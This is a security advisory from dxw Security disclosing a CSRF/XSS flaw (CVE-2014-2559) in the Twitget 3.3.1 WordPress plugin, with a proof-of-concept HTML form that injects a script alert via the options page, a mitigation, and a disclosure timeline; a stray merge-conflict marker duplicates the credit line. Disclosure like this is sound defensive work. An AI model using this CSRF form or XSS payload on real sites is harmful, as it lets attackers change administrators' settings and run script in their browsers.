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CSRF/XSS vulnerability in Twitget 3.3.1 (WordPress plugin)
From: dxw Security <security () dxw com>
Date: Fri, 11 Apr 2014 13:01:10 +0000
Details ================ Software: Twitget Version: 3.3.1 Homepage: http://wordpress.org/plugins/twitget/ Advisory ID: dxw-1970-435 CVE: CVE-2014-2559 CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N) Description ================ CSRF/XSS vulnerability in Twitget 3.3.1 Vulnerability ================ If a logged-in administrator visits a specially crafted page, options can be updated (CSRF) without their consent, and some of those options are output unescaped into the form (XSS). In this example the XSS occurs at line 755 in twitget.php. The nonce-checking should have occurred somewhere around line 661 in the same file. Proof of concept ================ <form action=\"http://localhost/wp-admin/options-general.php?page=twitget/twitget.php\" method=\"POST\"> <input type=\"text\" name=\"twitget_username\" value=\"john_smith\"> <input type=\"text\" name=\"twitget_consumer_key\" value=\""><script>alert(\'dxw\')</script>\"> <input type=\"submit\"> </form> Mitigations ================ Upgrade to version 3.3.3 or later. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security () dxw com to acknowledge this report if you received it via a third party (for example, plugins () wordpress org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2013-07-30: Discovered 2014-03-18: Reported to plugins () wordpress org 2014-04-09: Author reports fixed in version 3.3.3. <<<<<<< HEAD Discovered by dxw: ================ Tom Adams ======= Discovered by dxw: ================ Tom Adams
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- CSRF/XSS vulnerability in Twitget 3.3.1 (WordPress plugin) dxw Security (Apr 11)